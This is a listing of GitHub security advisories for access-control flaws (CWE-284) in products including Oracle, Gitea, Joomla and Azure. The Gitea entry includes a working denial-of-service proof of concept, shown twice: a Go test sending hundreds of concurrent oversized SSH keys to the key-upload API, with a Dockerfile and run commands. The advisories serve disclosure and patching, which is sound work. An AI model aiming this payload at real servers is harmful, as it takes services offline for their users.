CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
10692 vulnerabilities reference this CWE, most recent first.
GHSA-4X95-5VR3-GRGG
Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32Vulnerability in the Oracle E-Business Intelligence product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Intelligence. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle E-Business Intelligence, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle E-Business Intelligence accessible data as well as unauthorized read access to a subset of Oracle E-Business Intelligence accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-60802"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:18:18Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle E-Business Intelligence product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Intelligence. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle E-Business Intelligence, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle E-Business Intelligence accessible data as well as unauthorized read access to a subset of Oracle E-Business Intelligence accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).",
"id": "GHSA-4x95-5vr3-grgg",
"modified": "2026-07-22T00:32:01Z",
"published": "2026-07-22T00:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60802"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4X9C-5HWJ-JJQ8
Vulnerability from github – Published: 2022-05-17 03:17 – Updated: 2022-05-17 03:17IBM QRadar SIEM 7.1 before MR2 Patch 13 and 7.2 before 7.2.7 mishandles authorization, which allows remote authenticated users to obtain sensitive information via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2016-2874"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-11-30T18:59:00Z",
"severity": "LOW"
},
"details": "IBM QRadar SIEM 7.1 before MR2 Patch 13 and 7.2 before 7.2.7 mishandles authorization, which allows remote authenticated users to obtain sensitive information via unspecified vectors.",
"id": "GHSA-4x9c-5hwj-jjq8",
"modified": "2022-05-17T03:17:55Z",
"published": "2022-05-17T03:17:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-2874"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21987771"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XH2-6C5F-QWX3
Vulnerability from github – Published: 2025-07-20 03:30 – Updated: 2025-07-20 03:30A vulnerability was found in thinkgem JeeSite up to 5.12.0. It has been classified as critical. This affects the function Upload of the file src/main/java/com/jeesite/modules/file/web/FileUploadController.java. The manipulation leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 3585737d21fe490ff6948d913fcbd8d99c41fc08. It is recommended to apply a patch to fix this issue.
{
"affected": [],
"aliases": [
"CVE-2025-7864"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-20T03:15:24Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in thinkgem JeeSite up to 5.12.0. It has been classified as critical. This affects the function Upload of the file src/main/java/com/jeesite/modules/file/web/FileUploadController.java. The manipulation leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 3585737d21fe490ff6948d913fcbd8d99c41fc08. It is recommended to apply a patch to fix this issue.",
"id": "GHSA-4xh2-6c5f-qwx3",
"modified": "2025-07-20T03:30:20Z",
"published": "2025-07-20T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7864"
},
{
"type": "WEB",
"url": "https://github.com/thinkgem/jeesite5/issues/31"
},
{
"type": "WEB",
"url": "https://github.com/thinkgem/jeesite5/issues/31#issuecomment-3051363397"
},
{
"type": "WEB",
"url": "https://github.com/thinkgem/jeesite5/commit/3585737d21fe490ff6948d913fcbd8d99c41fc08"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.316977"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.316977"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.618189"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4XJ6-PPMM-PC93
Vulnerability from github – Published: 2022-11-18 09:30 – Updated: 2026-05-20 09:30Karmasis informatics solutions Infraskope Security Event Manager product has an unauthenticated access which could allow an unauthenticated attacker to damage the page where the agents are listed.
{
"affected": [],
"aliases": [
"CVE-2022-24038"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-18T09:15:00Z",
"severity": "HIGH"
},
"details": "Karmasis informatics solutions Infraskope Security Event Manager product has an unauthenticated access which could allow an unauthenticated attacker to damage the page where the agents are listed.",
"id": "GHSA-4xj6-ppmm-pc93",
"modified": "2026-05-20T09:30:32Z",
"published": "2022-11-18T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24038"
},
{
"type": "WEB",
"url": "https://karmasis.com/urunlerimiz/infraskope-siem"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-22-0691"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-22-0691"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XJF-493Q-98P3
Vulnerability from github – Published: 2026-07-21 21:09 – Updated: 2026-09-24 15:23Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.
Root Cause
An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).
The request reaches CreateUserPublicKey with no prior size check:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212
This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79
Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.
This is only possible because neither the web form field nor the API struct carries a size constraint:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49
PoC
To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:
poc/Dockerfile
FROM golang:1.26-alpine AS builder
RUN apk add --no-cache git build-base
WORKDIR /gitea
# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download
# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .
# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
-o /integration.test \
gitea.dev/tests/integration
# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22
# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git
COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea
RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea
WORKDIR /gitea
USER poc
ENTRYPOINT ["/integration.test", \
"-test.run", "TestDoSSSHKeyParserOOM", \
"-test.v", \
"-test.timeout", "600s"]
tests/integration/poc_dos_test.go
package integration
import (
"fmt"
"runtime"
"runtime/debug"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
auth_model "gitea.dev/models/auth"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
)
func TestDoSSSHKeyParserOOM(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Raise the GC trigger so intermediate strings accumulate faster,
// matching realistic server behaviour under sustained allocation load.
debug.SetGCPercent(400)
// Log in as an ordinary user — no special privileges needed.
session := loginUser(t, "user1")
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)
const (
numLines = 400_000
charsPerLine = 100
numWorkers = 400
)
var sb strings.Builder
sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
sb.WriteString("Comment: dos\n")
line := strings.Repeat("a", charsPerLine) + "\n"
for i := 0; i < numLines; i++ {
sb.WriteString(line)
}
sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
payload := sb.String()
peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB",
float64(len(payload))/(1<<20), numWorkers, peakGB)
// Each goroutine marshals its own JSON body. The bytes live in req.Body
// for the entire duration of MakeRequest, so numWorkers concurrent
// goroutines hold numWorkers × payload_size bytes simultaneously.
// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
var (
wg sync.WaitGroup
done atomic.Int64
ready = make(chan struct{})
start = time.Now()
)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go func(id int) {
defer func() { done.Add(1); wg.Done() }()
<-ready
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: fmt.Sprintf("dos-%d", id),
Key: payload,
}).AddTokenAuth(token)
MakeRequest(t, req, NoExpectedStatus)
}(i)
}
go func() {
var ms runtime.MemStats
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for range ticker.C {
runtime.ReadMemStats(&ms)
t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB",
time.Since(start).Seconds(), done.Load(), numWorkers,
float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
}
}()
close(ready)
wg.Wait()
t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
time.Since(start).Seconds())
}
When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:
docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc
Which prints out:
=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB
... demonstrating high memory consumption. On my end, memory is consumed within 1 second.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gitea.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56657"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:09:57Z",
"nvd_published_at": "2026-08-13T17:17:25Z",
"severity": "MODERATE"
},
"details": "Gitea\u0027s SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N\u00b2) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server\u0027s CPU and memory, taking the instance offline.\n\n### Root Cause\n\nAn attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines \u2014 for example, 400,000 lines of 100 characters each (~38 MB total).\n\nThe request reaches `CreateUserPublicKey` with no prior size check:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212\n\nThis calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79\n\nBecause Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N\u00b2)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.\n\nThis is only possible because neither the web form field nor the API struct carries a size constraint:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49\n\n### PoC\n\nTo reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory:\n\n`poc/Dockerfile`\n```docker\nFROM golang:1.26-alpine AS builder\n\nRUN apk add --no-cache git build-base\n\nWORKDIR /gitea\n\n# Download deps in a separate layer so rebuilds are fast after source changes.\nCOPY go.mod go.sum ./\nRUN go mod download\n\n# Copy full source (needed for fixtures, config templates, and compilation).\nCOPY . .\n\n# Compile the integration test binary.\n# modernc sqlite (pure Go, no CGO needed) is the default driver.\nRUN CGO_ENABLED=0 go test -c \\\n -o /integration.test \\\n gitea.dev/tests/integration\n\n# \u2500\u2500 runtime image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM alpine:3.22\n\n# git is required at runtime: the test framework initialises git repos.\nRUN apk add --no-cache git\n\nCOPY --from=builder /integration.test /integration.test\n# Keep the full source at /gitea so runtime.Caller(0) path resolution works\n# and fixtures / config templates are accessible.\nCOPY --from=builder /gitea /gitea\n\nRUN adduser -D -u 1000 poc \u0026\u0026 chown -R poc:poc /gitea\n\nWORKDIR /gitea\n\nUSER poc\n\nENTRYPOINT [\"/integration.test\", \\\n \"-test.run\", \"TestDoSSSHKeyParserOOM\", \\\n \"-test.v\", \\\n \"-test.timeout\", \"600s\"]\n```\n\n`tests/integration/poc_dos_test.go`\n```go\npackage integration\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n)\n\nfunc TestDoSSSHKeyParserOOM(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Raise the GC trigger so intermediate strings accumulate faster,\n\t// matching realistic server behaviour under sustained allocation load.\n\tdebug.SetGCPercent(400)\n\n\t// Log in as an ordinary user \u2014 no special privileges needed.\n\tsession := loginUser(t, \"user1\")\n\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)\n\n\tconst (\n\t\tnumLines = 400_000\n\t\tcharsPerLine = 100\n\t\tnumWorkers = 400\n\t)\n\n\tvar sb strings.Builder\n\tsb.WriteString(\"---- BEGIN SSH2 PUBLIC KEY ----\\n\")\n\tsb.WriteString(\"Comment: dos\\n\")\n\tline := strings.Repeat(\"a\", charsPerLine) + \"\\n\"\n\tfor i := 0; i \u003c numLines; i++ {\n\t\tsb.WriteString(line)\n\t}\n\tsb.WriteString(\"---- END SSH2 PUBLIC KEY ----\\n\")\n\tpayload := sb.String()\n\n\tpeakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 \u003c\u003c 30)\n\tt.Logf(\"payload=%.1f MB workers=%d peak_theory=%.1f GB\",\n\t\tfloat64(len(payload))/(1\u003c\u003c20), numWorkers, peakGB)\n\n\t// Each goroutine marshals its own JSON body. The bytes live in req.Body\n\t// for the entire duration of MakeRequest, so numWorkers concurrent\n\t// goroutines hold numWorkers \u00d7 payload_size bytes simultaneously.\n\t// With numWorkers=400 and payload=38.5 MB: 400 \u00d7 38.5 MB = 15.4 GB \u2192 OOM.\n\tvar (\n\t\twg sync.WaitGroup\n\t\tdone atomic.Int64\n\t\tready = make(chan struct{})\n\t\tstart = time.Now()\n\t)\n\n\tfor i := 0; i \u003c numWorkers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tdefer func() { done.Add(1); wg.Done() }()\n\t\t\t\u003c-ready\n\n\t\t\treq := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n\t\t\t\tTitle: fmt.Sprintf(\"dos-%d\", id),\n\t\t\t\tKey: payload,\n\t\t\t}).AddTokenAuth(token)\n\n\t\t\tMakeRequest(t, req, NoExpectedStatus)\n\t\t}(i)\n\t}\n\n\tgo func() {\n\t\tvar ms runtime.MemStats\n\t\tticker := time.NewTicker(5 * time.Second)\n\t\tdefer ticker.Stop()\n\t\tfor range ticker.C {\n\t\t\truntime.ReadMemStats(\u0026ms)\n\t\t\tt.Logf(\"[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB\",\n\t\t\t\ttime.Since(start).Seconds(), done.Load(), numWorkers,\n\t\t\t\tfloat64(ms.HeapSys)/(1\u003c\u003c30), float64(ms.HeapAlloc)/(1\u003c\u003c30))\n\t\t}\n\t}()\n\n\tclose(ready)\n\twg.Wait()\n\tt.Logf(\"all done in %.1fs \u2014 container survived, increase numWorkers or numLines\",\n\t\ttime.Since(start).Seconds())\n}\n```\n\nWhen you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:\n\n```sh\ndocker build -t gitea-dos-poc -f poc/Dockerfile .\ndocker run --rm --memory=12g --memory-swap=12g gitea-dos-poc\n```\n\nWhich prints out:\n```\n=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)\n testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta\n testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)\n testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)\n poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB\n```\n\n... demonstrating high memory consumption. On my end, memory is consumed within 1 second.",
"id": "GHSA-4xjf-493q-98p3",
"modified": "2026-09-24T15:23:08Z",
"published": "2026-07-21T21:09:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56657"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/gitea-1.27.0-is-released"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea SSH Key Parser Denial of Service"
}
GHSA-4XRJ-353Q-C3P7
Vulnerability from github – Published: 2022-05-14 03:22 – Updated: 2022-05-14 03:22The fix for ikiwiki for CVE-2016-10026 was incomplete resulting in editing restriction bypass for git revert when using git versions older than 2.8.0. This has been fixed in 3.20161229.
{
"affected": [],
"aliases": [
"CVE-2016-9645"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-10T22:29:00Z",
"severity": "MODERATE"
},
"details": "The fix for ikiwiki for CVE-2016-10026 was incomplete resulting in editing restriction bypass for git revert when using git versions older than 2.8.0. This has been fixed in 3.20161229.",
"id": "GHSA-4xrj-353q-c3p7",
"modified": "2022-05-14T03:22:02Z",
"published": "2022-05-14T03:22:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9645"
},
{
"type": "WEB",
"url": "https://ikiwiki.info/security/#cve-2016-9645"
},
{
"type": "WEB",
"url": "https://marc.info/?l=oss-security\u0026m=148304341511854\u0026w=2"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2016-9645"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XVF-3H3R-2W7P
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. While the vulnerability is in Oracle WebCenter Content, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-35320"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:40:24Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. While the vulnerability is in Oracle WebCenter Content, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-4xvf-3h3r-2w7p",
"modified": "2026-06-17T18:35:25Z",
"published": "2026-06-17T18:35:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35320"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4XW4-CMXH-PH56
Vulnerability from github – Published: 2026-09-18 00:31 – Updated: 2026-09-18 00:31Improper access control in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-83944"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-17T23:18:51Z",
"severity": "CRITICAL"
},
"details": "Improper access control in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-4xw4-cmxh-ph56",
"modified": "2026-09-18T00:31:09Z",
"published": "2026-09-18T00:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83944"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83944"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XW6-JW26-GP2R
Vulnerability from github – Published: 2026-09-29 18:31 – Updated: 2026-10-06 18:31Joomla! Core - [20260907] - Core - Improper ACL checks in outputs for tagged items in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to view content items from inaccessible categories.
{
"affected": [],
"aliases": [
"CVE-2026-90917"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T17:17:13Z",
"severity": "MODERATE"
},
"details": "Joomla! Core - [20260907] - Core - Improper ACL checks in outputs for tagged items in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to view content items from inaccessible categories.",
"id": "GHSA-4xw6-jw26-gp2r",
"modified": "2026-10-06T18:31:21Z",
"published": "2026-09-29T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90917"
},
{
"type": "WEB",
"url": "https://developer.joomla.org/security-centre/1087-20260907-core-improper-acl-checks-in-outputs-for-tagged-items.html"
},
{
"type": "WEB",
"url": "https://www.joomla.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4XWV-QHQG-X59M
Vulnerability from github – Published: 2025-07-30 00:32 – Updated: 2025-11-03 21:34A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.6, macOS Ventura 13.7.7, macOS Sonoma 14.7.7. An app may be able to bypass certain Privacy preferences.
{
"affected": [],
"aliases": [
"CVE-2025-43232"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
